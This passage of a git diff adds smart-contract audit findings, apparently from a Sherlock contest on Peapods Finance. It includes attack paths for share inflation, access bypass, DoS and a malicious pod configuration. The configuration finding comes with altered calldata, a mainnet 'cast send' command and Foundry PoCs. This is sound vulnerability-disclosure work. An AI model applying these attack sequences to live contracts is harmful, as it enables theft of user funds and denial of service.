+### PoC
+
+1. The current `borrowAsset` and `addCollateral` functions do not enforce a dust amount check.
+2. This behavior can result in bad debt and cause either the protocol itself or other liquidation bots to go bankrupt, as the rewards are insufficient to cover the liquidator's gas costs.
+
+### Mitigation
+
+In function `borrowAsset()` add dust amount check
\ No newline at end of file
diff --git a/151.md b/151.md
new file mode 100644
index 0000000..3f78938
--- /dev/null
+++ b/151.md
@@ -0,0 +1,37 @@
+Formal Plum Leopard
+
+Medium
+
+# An attacker will bypass access control and manipulate index data, impacting protocol users
+
+### Summary
+
+In [_authorizedOwnerOrCreator](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/IndexManager.sol#L113C17-L113C21), the lack of a bounds check on _indexIdx[_index] allows an attacker to reference an uninitialized or non-existent index, which defaults to 0.
+
+### Root Cause
+
+_No response_
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+An attacker could call functions requiring _authorizedOwnerOrCreator authorization by passing an invalid _index address (such as address(0) or an uninitialized value), tricking the contract into treating them as an authorized entity.
+
+### Impact
+
+The contract’s access control can be bypassed, allowing unauthorized users to modify or manipulate index data, potentially leading to unauthorized fund transfers or contract corruption.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/152.md b/152.md
new file mode 100644
index 0000000..a0c8790
--- /dev/null
+++ b/152.md
@@ -0,0 +1,26 @@
+Passive Pastel Hippo
+
+Medium
+
+# The incorrect use of onlyRestricted has led to the inability to reset stakeUserRestriction, resulting in the failure of related functions.
+
+### Summary
+
+In the contract `StakingPoolToken.sol`, the `onlyRestricted` modifier was incorrectly applied to the function `setStakeUserRestriction`, causing the function `setStakeUserRestriction` to be inaccessible to any user after calling the function `removeStakeUserRestriction`. This has rendered inability to reset `stakeUserRestriction`.
+
+### Root Cause
+
+When the function `removeStakeUserRestriction` is called, the variable `stakeUserRestriction` is set to `address(0)`. At this point, no one can access the functions modified by `onlyRestricted` unless the function `setStakeUserRestriction` is called to assign a new value to the variable `stakeUserRestriction`. However, since the `setStakeUserRestriction` function is also modified by `onlyRestricted` (`StakingPoolToken.sol:97`), it becomes inaccessible to anyone. This situation leads to the inability to reset the `stakeUserRestriction` variable.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/StakingPoolToken.sol#L33-L36
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/StakingPoolToken.sol#L93-L99
+
+### Mitigation
+
+Using the `onlyOwner` modifier for the function instead of `onlyRestricted` would allow the value of `stakeUserRestriction` to be reset even after calling `removeStakeUserRestriction`.
+```solidity
+function setStakeUserRestriction(address _user) external onlyOwner {
+ stakeUserRestriction = _user;
+}
+```
\ No newline at end of file
diff --git a/153.md b/153.md
new file mode 100644
index 0000000..8b098c4
--- /dev/null
+++ b/153.md
@@ -0,0 +1,68 @@
+Spicy Lavender Capybara
+
+High
+
+# FraxLendPair will bankruptcy or dos
+
+### Summary
+
+Overpayment during liquidation repays other borrowers' debts, reducing the value of borrow shares. This leads to two issues: 1. disruption of the borrowAsset function, and 2. interest accumulation on uncollateralized borrowers, making liquidation impossible and resulting in bad debt, impacting protocol stability.
+
+### Root Cause
+
+In [FraxLendPairCore](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/fraxlend/src/contracts/FraxlendPairCore.sol#L1160-L1195) during liquidation, `_sharesToLiquidate` can exceed the user's share, potentially resulting in `totalBorrow.amount = 0` while `totalBorrow.shares != 0`, leading to the possibility of unlimited share inflation.
+
+### Internal Pre-conditions
+
+In the FraxLendPair contract, only the attacker performs deposit and borrow, while other users interact with the contract for deposits or loans.
+
+### External Pre-conditions
+
+The impact differs between executing the attack across multiple blocks and within a single block.
+
+### Attack Path
+
+- The `liquidate()` function allows repaid shares to exceed the borrower's share.
+ [Relevant Code](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/fraxlend/src/contracts/FraxlendPairCore.sol#L1100-L1208)
+ [Relevant Code](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/fraxlend/src/contracts/FraxlendPairCore.sol#L1031-L1032)
+
+- When the repaid shares exceed the target borrower's shares, only the target borrower's shares are burned, while other borrowers' shares remain unchanged. This results in `totalBorrow.amount` reaching zero while `totalBorrow.shares` remains nonzero.
+ [Relevant Code](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/fraxlend/src/contracts/FraxlendPairCore.sol#L1023-L1036)
+
+- The `removeCollateral()` function only verifies whether the user remains in a healthy state after collateral removal. However, liquidation status depends on `totalBorrow.amount`.
+ [Relevant Code](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/fraxlend/src/contracts/FraxlendPairCore.sol#L975-L1007)
+ [Relevant Code](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/fraxlend/src/contracts/FraxlendPairCore.sol#L225-L234)
+
+- The borrower's `borrowShare` is calculated as `totalBorrow * amount / totalAssets` when borrowing,when `borrowAmount` is 0, the obtained borrow share is equal to `borrowAmount`, maintaining a 1:1 ratio.
+ [Relevant Code](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/fraxlend/src/contracts/FraxlendPairCore.sol#L1059-L1074)
+
+### Impact
+
+1. disruption of the borrowAsset function, and
+2. 2. interest accumulation on uncollateralized borrowers, making liquidation impossible and resulting in bad debt, impacting protocol stability.
+
+### PoC
+
+FraxLendPair is created with DAI as the asset, and the attacker controls two accounts, A and B.
+
+*First Method*:
+1. The attacker simultaneously calls `addCollateral()` with both accounts, adding collateral worth 1e18 DAI and 1,500e18 DAI.
+2. The attacker calls `borrowAsset()` using accounts A and B, borrowing 0.75e18 DAI (equivalent to 1e18 shares) and 1000e18 DAI (equivalent to 1000e18 shares), respectively. At this point, account A is on the verge of liquidation, and any slight price fluctuation will make it eligible for liquidation.
+3. As the collateral price drops, account A becomes eligible for liquidation. The attacker calls `liquidate()` on account A, setting `_sharesToLiquidate` to 1000.999999e18. This repays the borrowed assets for both A and B, but only A’s `borrowShare` is burned. As a result, `_totalBorrow.amount` becomes 1, while `_totalBorrow.shares` remains 1000e18.
+4. This manipulation inflates `totalShare` by 1000e18 times. The attacker then calls `addCollateral()` again using account A and borrows 0.75e6 DAI. Due to the inflated `totalShare`, the calculated share value is `(1000e18 * 0.75e18 / 1 = 0.75 * 1e39)`.
+5. Repeating steps 1–3 multiple times causes an overflow issue, making any subsequent borrowing attempts (even for 0.75e18 DAI) fail.
+6. The attacker withdraws B account's collateral, leaving some dust collateral in the protocol.
+7. As a result, the borrow-related functions in FraxLendPair become unusable due to a DoS attack.
+
+*Second Method*:
+1. The attacker simultaneously uses accounts A and B to call `addCollateral()`, adding collateral worth 1e18 DAI and 1500e18 DAI.
+2. The attacker calls `borrowAsset()` with accounts A and B, borrowing 0.75e18 DAI and 1000e18 DAI, equivalent to 1e18 share and 1000e18 share. Account A is now on the verge of liquidation, and a slight price fluctuation can trigger liquidation.
+3. The collateral price drops, and account A is liquidated. The attacker calls `liquidate()`, setting `_sharesToLiquidate` to 1000.999999e18. This repays all borrow assets for both A and B, but only burns A’s borrow share. As a result, `_totalBorrow.amount` becomes 1, while `_totalBorrow.shares` remains 1000e18.
+4. The attacker deposits 1e18 DAI into account A and borrows 0.75e18 DAI, resulting in a share calculation of `(1000e18 * 0.75e18 / 1 = 0.75 * 1e36)`. Before this, the attacker creates a new account C, deposits 1500e18 DAI as collateral, and borrows 1000e18 DAI, receiving `1e42` shares.
+5. The attacker deposits 1e18 DAI into account A and borrows 0.75e18 DAI. Account A is again on the verge of liquidation, obtaining a share value of `(1e42 + 1e18) * 0.75e18 / (10e18 + 1)`.
+6. A further price fluctuation triggers another liquidation of account A. The attacker repays all liquidation funds, setting `totalBorrow.amount = 0` while `totalBorrow.shares = 1000e18 + 1e42 share`.
+7. Borrow share holders now include B and C. Since `totalBorrow.amount` is 0, the attacker uses account B or C to call `borrowAsset()`. Borrowing 10,000,000e18 DAI results in `10,000,000e18` shares, which are negligible compared to `totalBorrow.shares = 1000e18 + 1e42 share`, thus passing the `isSolvent` check.
+8. The protocol ultimately collapses.
+### Mitigation
+
+Add _shares ToLiquidate check in function `liquidate()`
\ No newline at end of file
diff --git a/154.md b/154.md
new file mode 100644
index 0000000..9830b1e
--- /dev/null
+++ b/154.md
@@ -0,0 +1,144 @@
+Furry Berry Armadillo
+
+Medium
+
+# (DoS) Risk in _distributeReward()
+
+### Summary
+
+The unbounded iteration over `_allRewardsTokens` in [_distributeReward()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L236) will cause denial-of-service (DoS) for stakers as the function will fail due to excessive gas consumption when too many reward tokens are added.
+
+### Root Cause
+
+In `TokenRewards.sol`, the function `_distributeReward(address _wallet)` loops over `_allRewardsTokens` without limit:
+
+```solidity
+function _distributeReward(address _wallet) internal {
+ if (shares[_wallet] == 0) {
+ return;
+ }
+ for (uint256 _i; _i < _allRewardsTokens.length; _i++) { // ❌ UNBOUNDED LOOP
+ address _token = _allRewardsTokens[_i];
+
+ if (REWARDS_WHITELISTER.paused(_token)) {
+ continue;
+ }
+
+ uint256 _amount = getUnpaid(_token, _wallet);
+ rewards[_token][_wallet].realized += _amount;
+ rewards[_token][_wallet].excluded = _cumulativeRewards(_token, shares[_wallet], true);
+
+ if (_amount > 0) {
+ rewardsDistributed[_token] += _amount;
+ IERC20(_token).safeTransfer(_wallet, _amount);
+ emit DistributeReward(_wallet, _token, _amount);
+ }
+ }
+}
+```
+
+Since `_allRewardsTokens` grows indefinitely, this function eventually exceeds `Ethereum’s` block gas limit and `Base` block gas limit `(~30M gas)`, making it impossible to execute.
+
+### Internal Pre-conditions
+
+1. Stakers must hold shares (shares[_wallet] > 0).
+2. Reward tokens must be added continuously via _depositRewards(), increasing _allRewardsTokens indefinitely.
+3. No limit on _allRewardsTokens (can exceed 300+ tokens).
+4. Users must call _distributeReward() indirectly via claimReward().
+
+### External Pre-conditions
+
+1. Ethereum block gas limit remains ~30M gas.
+2. Reward tokens must have liquidity and transfers enabled.
+3. Users must attempt to claim rewards once gas cost is too high.
+
+
+### Attack Path
+
+1. Attacker deposits multiple reward tokens via `_depositRewards()`.
+2. `_allRewardsTokens` grows infinitely, leading to an unbounded loop.
+3. Legitimate users call `claimReward()`, which triggers `_distributeReward()`.
+4. `_distributeReward()` exceeds the gas limit, making reward claims fail.
+5. Users are permanently blocked from claiming their rewards, creating a `denial-of-service` attack on the protocol.
+
+### Impact
+
+Stakers cannot withdraw their earned rewards.
+
+### PoC
+
+```solidity
+ function testGasIncreaseWithMoreTokens() public {
+ vm.prank(address(trackingToken));
+ tokenRewards.setShares(user1, 100e18, false);
+
+ uint256[] memory tokenCounts = new uint256[](6);
+ tokenCounts[0] = 10;
+ tokenCounts[1] = 20;
+ tokenCounts[2] = 50;
+ tokenCounts[3] = 100;
+ tokenCounts[4] = 200;
+ tokenCounts[5] = 300;
+
+ uint256[] memory gasUsages = new uint256[](6);
+
+ for(uint256 i = 0; i < tokenCounts.length; i++) {
+ // Reset the contract state for each test
+ setUp();
+
+ vm.prank(address(trackingToken));
+ tokenRewards.setShares(user1, 100e18, false);
+
+ for(uint256 j = 0; j < tokenCounts[i]; j++) {
+ MockERC20 token = new MockERC20(
+ string(abi.encodePacked("RT", vm.toString(j))),
+ string(abi.encodePacked("RT", vm.toString(j)))
+ );
+ token.mint(address(this), 1000e18);
+ token.approve(address(tokenRewards), type(uint256).max);
+ rewardsWhitelister.setWhitelist(address(token), true);
+
+ try tokenRewards.depositRewards(address(token), 10e18) {
+ } catch (bytes memory err) {
+ emit log_named_uint("Failed at token count", tokenCounts[i]);
+ emit log_bytes(err);
+ return;
+ }
+ }
+
+ uint256 startGas = gasleft();
+ try tokenRewards.claimReward(user1) {
+ uint256 gasUsed = startGas - gasleft();
+ gasUsages[i] = gasUsed;
+ emit log_named_uint("Number of tokens", tokenCounts[i]);
+ emit log_named_uint("Gas used", gasUsed);
+ } catch (bytes memory err) {
+ emit log_named_uint("Failed at token count", tokenCounts[i]);
+ emit log_bytes(err);
+ return;
+ }
+ }
+ }
+```
+```solidity
+Ran 1 test for test/TokenRewards.t.sol:TokenRewardsTest
+[PASS] testGasIncreaseWithMoreTokens() (gas: 832336224)
+Logs:
+ Number of tokens: 10
+ Gas used: 1014829
+ Number of tokens: 20
+ Gas used: 2023543
+ Number of tokens: 50
+ Gas used: 5049727
+ Number of tokens: 100
+ Gas used: 10093499
+ Number of tokens: 200
+ Gas used: 20181539
+ Number of tokens: 300
+ Gas used: 30270250
+
+```
+
+### Mitigation
+
+Enforce a Limit on `_allRewardsTokens`
\ No newline at end of file
diff --git a/155.md b/155.md
new file mode 100644
index 0000000..170da4b
--- /dev/null
+++ b/155.md
@@ -0,0 +1,67 @@
+Spicy Lavender Capybara
+
+Medium
+
+# Non compliant with ERC4626 standard.
+
+### Summary
+
+The functions `previewDeposit()` and `previewMint()` do not comply with the ERC4626 standard, which is inconsistent with the [erc4626 documentation](https://eips.ethereum.org/EIPS/eip-4626#:~:text=MUST%20return%20as%20close%20to%20and%20no%20more%20than%20the%20exact%20amount%20of%20Vault%20shares%20that%20would%20be%20minted%20in%20a%20deposit%20call%20in%20the%20same%20transaction.%20I.e.%20deposit%20should%20return%20the%20same%20or%20more%20shares%20as%20previewDeposit%20if%20called%20in%20the%20same%20transaction.).
+
+### Root Cause
+
+In [AutoCompoundingPodLp:L144-L146](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/AutoCompoundingPodLp.sol#L144-L146) and [AutoCompoundingPodLp:L120-L122](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/AutoCompoundingPodLp.sol#L120-L122) the calculate lack of function `_processRewardsToPodLp()`
+
+### Internal Pre-conditions
+
+In the AutoCompoundingPodLp contract, this situation occurs when some funds have not yet been accounted for as rewards.
+
+### External Pre-conditions
+
+none
+
+### Attack Path
+
+The `_processRewardsToPodLp` function converts protocol funds into rewards for users, causing `previewDeposit` and `previewMint` to deviate from expected calculations. In `previewDeposit`, the same amount of assets results in fewer shares minted than expected, contradicting ERC-4626. In `previewMint`, the calculated value exceeds expectations, also diverging from the ERC-4626 standard.
+### Impact
+
+Non compliant with ERC4626 standard.
+
+### PoC
+run command `forge test --match-test "testERC4626 -vvv"` in AutoCompoundingPodLp.t.sol
+```solidity
+ function testERC4626() public {
+ // Mock the necessary functions and set up the test scenario
+ address[] memory rewardTokens = new address[](2);
+ rewardTokens[0] = address(rewardToken1);
+ rewardTokens[1] = address(rewardToken2);
+
+ mockTokenRewards.setProcessedRewardTokens(rewardTokens);
+
+ uint256 lpAmountOut = 50 * 1e18;
+ mockDexAdapter.setSwapV3SingleReturn(lpAmountOut);
+ deal(autoCompoundingPodLp.pod().PAIRED_LP_TOKEN(), address(autoCompoundingPodLp), lpAmountOut);
+ mockIndexUtils.setAddLPAndStakeReturn(lpAmountOut);
+
+ // Set initial totalAssets
+ uint256 initialTotalAssets = 1000 * 1e18;
+ deal(address(autoCompoundingPodLp.asset()), address(this), initialTotalAssets);
+ IERC20(autoCompoundingPodLp.asset()).approve(address(autoCompoundingPodLp), initialTotalAssets);
+ autoCompoundingPodLp.deposit(initialTotalAssets, address(this));
+
+ uint256 rewardAmount = 100 * 1e18;
+ rewardToken1.mint(address(autoCompoundingPodLp), rewardAmount);
+ rewardToken2.mint(address(autoCompoundingPodLp), rewardAmount);
+
+ uint256 share = autoCompoundingPodLp.previewDeposit(1000 * 1e18);
+ console.log("preview deposit of share: %d", share);
+ deal(address(autoCompoundingPodLp.asset()), address(this), 10000 * 1e18);
+ IERC20(autoCompoundingPodLp.asset()).approve(address(autoCompoundingPodLp), 10000 * 1e18);
+ uint256 depositOfShare = autoCompoundingPodLp.deposit(1000 * 1e18, address(autoCompoundingPodLp));
+ console.log("deposit of share: %d", depositOfShare);
+ // should be depositOfShare more than share
+ }
+```
+### Mitigation
+
+In functions previewMint and previewRedeem consider _processRewardsToPodLp influence
\ No newline at end of file
diff --git a/156.md b/156.md
new file mode 100644
index 0000000..260fa19
--- /dev/null
+++ b/156.md
@@ -0,0 +1,126 @@
+Nutty Steel Sealion
+
+High
+
+# Attacker can steal users' funds by using malicious pod configuration
+
+### Summary
+
+When deploying a pod, an attacker can override core dependency implementation addresses and later exploit them to steal users' funds.
+
+### Root Cause
+
+On all layers of pod deployment, in [`IndexManager.sol:34`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/IndexManager.sol#L34), [`WeightedIndexFactory.sol:51`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/WeightedIndexFactory.sol#L51), and [`WeightedIndex.sol:32`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/WeightedIndex.sol#L32), permissionless allowed to provide immutable options/addresses that help the pod function properly, such as:
+
+- `feeRouter`
+- `rewardsWhitelister`
+- `v3TwapUtils`
+- `dexAdapter`
+
+and others.
+
+When deploying a pod using the frontend app, the UI doesn't allow changing these parameters, and the addresses are set to predefined values. However, on the contract side, there is no check to ensure that these values have not been altered, allowing an attacker to adjust the deployment calldata and provide a malicious version of these components.
+
+### Internal Pre-conditions
+
+N/A
+
+### External Pre-conditions
+
+N/A
+
+### Attack Path
+
+1. The attacker initiates a pod deployment process, fills in all parameters, and presses the deploy button.
+2. The attacker finds the `dexAdapter` address in the deployment calldata.
+3. The attacker deploys a proxy with an implementation pointing to the original `dexAdapter`.
+4. The attacker changes the `dexAdapter` address in the calldata to the malicious proxy address.
+5. The attacker sends the deployment transaction.
+6. At this point, the new pod is deployed and publicly visible on the official site. The pod uses the original version of `dexAdapter` and functions as expected, despite the fact that `dexAdapter` is now under the proxy controlled by the attacker and can be updated at any time.
+7. The attacker can then provide liquidity and pretend that the pool is entirely legitimate.
+8. The `dexAdapter` is used when users provide or remove liquidity. At any time, the attacker can update the proxy implementation and steal user funds.
+
+### Impact
+
+The attacker can exploit the protocol’s reputation to deceive users, using a seemingly legitimate pod to steal user funds.
+
+### PoC
+
+1. Initiate a pod deployment process.
+
+
+
+2. Grab the calldata from the transaction and find the `dexAdapter` address.
+
+
+
+3. Change the `dexAdapter` address to a custom implementation.
+
+```diff
+0xc209bf03
+000000000000000000000000833589fcd6edb6e08f4c7c32d4f71b54bda02913
+00000000000000000000000000000000000000000000000000000000000000c0
+0000000000000000000000000000000000000000000000000000000000000560
+0000000000000000000000000000000000000000000000000000000000000680
+...
+000000000000000000000000fa9d58222f4b7b9760e7d57422e19314cfe0296f
+000000000000000000000000920093009684af7780616924b1893c90e4c9bdc0
+- 0000000000000000000000007ada1f2040ad2d2b608d1b853de8a5d997eff024
++ 0000000000000000000000001c66b23ed2d13754965dd7a70d23a278371795fc
+0000000000000000000000000000000000000000000000000000000000000100
+000000000000000000000000eb81ae1b2baa663bcdd46e36278d058aa147f708
+...
+0000000000000000000000000000000000000000000000000000000000014585
+0000000000000000000000000000000000000000000000000000000000002710
+0000000000000000000000000000000000000000000000000000000000002328
+00000000000000000000000000000000000000000000000000000000000003e8
+```
+
+4. Send the transaction with the altered data.
+
+```bash
+cast send 0xc979380b02A7DE52788bCC366fE550BFff253fb7 --private-key=$TEST_ACCOUNT --rpc-url=$BASE_MAINNET 0xc209bf03...000003e8
+```
+
+5. The pod is publicly available.
+
+
+
+6. Check the configuration.
+
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+import {Test, console2} from "forge-std/Test.sol";
+
+interface IDecentralizedIndex {
+ function DEX_HANDLER() external view returns (address);
+}
+
+contract PoC is Test {
+ address pod = 0x261eC5b6E62035c3d3301C69e6Cb0682ecc22760;
+ bytes32 IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
+
+ function test_MaliciousConfig() public view {
+ address maliciousProxy = IDecentralizedIndex(pod).DEX_HANDLER();
+ address implementation = address(uint160(uint256(vm.load(maliciousProxy, IMPLEMENTATION_SLOT))));
+ console2.log("Malicious proxy:", maliciousProxy);
+ console2.log("Implementation:", implementation, "(UniswapDexAdapter)");
+ }
+}
+```
+
+```bash
+Logs:
+ Malicious proxy: 0x1C66B23ED2D13754965dD7a70d23A278371795Fc
+ Implementation: 0x7adA1f2040ad2d2b608d1b853De8A5D997efF024 (UniswapDexAdapter)
+```
+
+_Note: The proxy contract shown in the PoC was deployed with the `0xdead` admin address, so the pod is safe to use._
+
+### Mitigation
+
+To prevent this attack:
+- Remove parameters that should not be user-defined from the deploy function.
+- Store these parameter values in the manager/factory contract.
+- Allow only a permissioned role to modify these parameters if needed.
\ No newline at end of file
diff --git a/157.md b/157.md
new file mode 100644
index 0000000..3863a63
--- /dev/null
+++ b/157.md
@@ -0,0 +1,57 @@
+Atomic Syrup Leopard
+
+Medium
+
+# `_protocolFees` can be applied multiple times in `AutoCompoundingPodLp` contract
+
+### Summary
+
+In the `_processRewardsToPodLp` function, the reward token is swapped to `PAIRED_LP_TOKEN`, and then some of it is paid as `_protocolFees`. The remaining `PAIRED_LP_TOKEN` is swapped to `pod` and `StakingPoolToken`. However, if this swap fails, `PAIRED_LP_TOKEN` remains in the contract as it is.
+`PAIRED_LP_TOKEN` can also be reward token, and in case of `PAIRED_LP_TOKEN`, the same operation is done for `balanceOf(PAIRED_LP_TOKEN) - _protocolFees`.
+If the previous reward token is swapped to `PAIRED_LP_TOKEN` and then the swap to `pod` and `StakingPoolToken` fails, the remaining token amount is included in `balanceOf(PAIRED_LP_TOKEN)`, and `_protocolFees` is paid again for this amount..
+
+### Root Cause
+
+If the swap from `PAIRED_LP_TOKEN` to `pod` and `StakingPoolToken` fails, `PAIRED_LP_TOKEN` [remains](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/AutoCompoundingPodLp.sol#L341-L342) in the contract as it is. (let's call this `swapFaildAmount`)
+
+In case of [`PAIRED_LP_TOKEN`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/AutoCompoundingPodLp.sol#L221-L222), the `swapFaildAmount` is included to `IERC20(_token).balanceOf(address(this))` and `IERC20(_token).balanceOf(address(this)) - _protocolFees` is swapped to PodLp while paying protocol fee for `swapFaildAmount` again.
+This means that the protocol fee is paid twice for the previous reward token.
+
+For `PAIRED_LP_TOKEN`, if the swap to `pod` and `StakingPoolToken` also fails, the protocol fee will be applied again next time.
+
+
+### Internal Pre-conditions
+
+swap from `PAIRED_LP_TOKEN` to `pod` fails
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+The protocol fee can be paid multiple times, reducing the reward for users.
+
+### PoC
+
+RewardsTokens = [PAIRED_LP_TOKEN, dai, lpRewardsToken]
+
+1. In prev call of `_processRewardsToPodLp` function:
+`lpRewardsToken` is swapped to 50 of `PAIRED_LP_TOKEN`, and 5 is paid for protocol fee. Total protocol fee increases from 0 to 5.
+And then the rest 45 of `PAIRED_LP_TOKEN` is used for swap to `Pod` but this swap failed.
+`swapFaildAmount` = 45, balance of `PAIRED_LP_TOKEN` = 45, `_protocolFee` = 5
+2. 40 of `PAIRED_LP_TOKEN` is distributed to `AutoCompoundingPodLp` contract and the balance of `PAIRED_LP_TOKEN` is increased to 85 from 45.
+3. In next call of `_processRewardsToPodLp` function:
+80(=85-_protocolFee) of `PAIRED_LP_TOKEN` is used for swap and protocol fee is also paid for the `swapFaildAmount`.
+
+This means for previous `lpRewardsToken` with same worth of 50 `PAIRED_LP_TOKEN`, total paid fee is 50 / 10 + 45 / 10 = 9.5.
+To be correct, the fee should be paid only for the newly distributed `PAIRED_LP_TOKEN` of 40.
+
+### Mitigation
+
+The protocol fee must be paid only if the swap to `PodLp` is successful.
+Or keep track of the amount of `PAIRED_LP_TOKEN` remaining in the contract if the swap fails.
\ No newline at end of file
diff --git a/158.md b/158.md
new file mode 100644
index 0000000..482fdaf
--- /dev/null
+++ b/158.md
@@ -0,0 +1,74 @@
+Fast Khaki Raccoon
+
+Medium
+
+# Deploying an `aspTKN` contract mints dead shares to a wrong address allowing a DoS
+
+### Summary
+
+Deploying an `aspTKN` contract mints dead shares to a wrong address allowing a DoS
+
+### Root Cause
+
+To deploy `AutoCompoundingPodLp`, `AutoCompoundingPodLpFactory::create()` must be called where we have this piece of code:
+```solidity
+_aspAddy = _deploy(getBytecode(_name, _symbol, _isSelfLendingPod, _pod, _dexAdapter, _indexUtils), _getFullSalt(_salt));
+ if (address(_pod) != address(0) && minimumDepositAtCreation > 0) {
+ _depositMin(_aspAddy, _pod);
+ }
+```
+Due to the way the function works, frontrunning the deployment will result in the same address regardless of the caller. Then, `_depositMin()` is called to battle common issues like inflation attacks:
+```solidity
+ function _depositMin(address _aspAddy, IDecentralizedIndex _pod) internal {
+ address _lpToken = _pod.lpStakingPool();
+ IERC20(_lpToken).safeTransferFrom(_msgSender(), address(this), minimumDepositAtCreation);
+ IERC20(_lpToken).safeIncreaseAllowance(_aspAddy, minimumDepositAtCreation);
+ AutoCompoundingPodLp(_aspAddy).deposit(minimumDepositAtCreation, _msgSender());
+ }
+```
+The issue is that the shares are incorrectly minted to the `msg.sender` which is the deployer. This means that these are not actually __dead__ shares as they can be withdrawn at any time, allowing a user to frontrun the deployment and manipulate the share value to cause a DoS.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. `AutoCompoundingPodLp` will be deployed but is frontran by a malicious actor, Alice
+2. Alice does the following sequence in a batch:
+- Alice provides the minimum deposit assets (1e3) and gets minted 1e3 shares in return
+- Alice directly sends `X` amount of one of the reward tokens processed during most calls using the `_processRewardsToPodLp()` function, the goal here is to slightly increase the share value, ideally Alice will increase the total assets by 1, to a total of `1e3 + 1`
+- Alice withdraws all but 1 of her assets which are `1e3`, the rewards in the above bullet point are processed and now the withdrawal formula will be `1e3 * 1e18 / (1e18 * (1e3 + 1) / 1e3) = 1000` due to the round up, now the state is 1 share but no assets
+3. Now, upon someone depositing, depositing any amount of assets will lead to 0 shares which will revert due to this code:
+```solidity
+ function _deposit(uint256 _assets, uint256 _shares, address _receiver) internal {
+ require(_assets != 0, "MA");
+ require(_shares != 0, "MS");
+
+ ...
+ }
+```
+
+### Impact
+
+DoS of the `AutoCompoundingPodLp` contract
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+```diff
+ function _depositMin(address _aspAddy, IDecentralizedIndex _pod) internal {
+ address _lpToken = _pod.lpStakingPool();
+ IERC20(_lpToken).safeTransferFrom(_msgSender(), address(this), minimumDepositAtCreation);
+ IERC20(_lpToken).safeIncreaseAllowance(_aspAddy, minimumDepositAtCreation);
+- AutoCompoundingPodLp(_aspAddy).deposit(minimumDepositAtCreation, _msgSender());
++ AutoCompoundingPodLp(_aspAddy).deposit(minimumDepositAtCreation, address(0xdead));
+ }
+```
\ No newline at end of file
diff --git a/159.md b/159.md
new file mode 100644
index 0000000..c243233
--- /dev/null
+++ b/159.md
@@ -0,0 +1,60 @@
+Fast Khaki Raccoon
+
+Medium
+
+# Missing an amount override mechanism allows for perpetually disallowing accrual of rewards
+
+### Summary
+
+Missing an amount override mechanism allows for perpetually disallowing accrual of rewards in `AutoCompoundingPodLp`
+
+### Root Cause
+
+Upon almost every place in the code, upon having any type of swap, we have an amount override mechanism which aims to handle a failed swap by overriding the next swap amount in by the current amount in divided by 2.
+This achieves 2 things:
+- firstly, the amount is smaller making it more illogical for someone to decide to abuse it and also, automatically makes potential slippage during the swap smaller as the amount to swap is smaller, simply how AMMs work
+- secondly, the slippage is removed fully if we have reached the minimum amount to swap
+
+The issue is that upon reaching `_pairedLpTokenToPodLp()` during the reward processing flow in `AutoCompoundingPodLp`, that mechanism is completely missing:
+```solidity
+ try DEX_ADAPTER.swapV2Single(_pairedLpToken, address(pod), _pairedSwapAmt, _minPtknOut, address(this)) returns (uint256 _podAmountOut) {
+ ...
+ try indexUtils.addLPAndStake(pod, _podAmountOut, _pairedLpToken, _pairedRemaining, _pairedRemaining, lpSlippage, _deadline) returns (uint256 _lpTknOut) {
+ ...
+ } catch {
+ IERC20(pod).safeDecreaseAllowance(address(indexUtils), _podAmountOut);
+ IERC20(_pairedLpToken).safeDecreaseAllowance(address(indexUtils), _pairedRemaining);
+ emit AddLpAndStakeError(address(pod), _amountIn);
+ }
+ } catch {
+ IERC20(_pairedLpToken).safeDecreaseAllowance(address(DEX_ADAPTER), _pairedSwapAmt);
+ emit AddLpAndStakeV2SwapError(_pairedLpToken, address(pod), _pairedRemaining);
+ }
+```
+As seen, in both `catch` blocks, we simply decrease the allowance. The outer `catch` is more problematic as the slippage there is just 5%, compared to the 30% in the inner one. This simply allows malicious users (or drastic price movements) to perpetually disallow accrual of the rewards.
+
+NOTE: The `_minPtknOut` is computed using current prices during the call. However, it uses a combination of `TWAP` and `Chainlink` which means that the actual current spot price will likely differ and can go over the slippage. This can also, of course, be abused by malicious users by swapping before the function call and moving the spot price over the allowed slippage.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
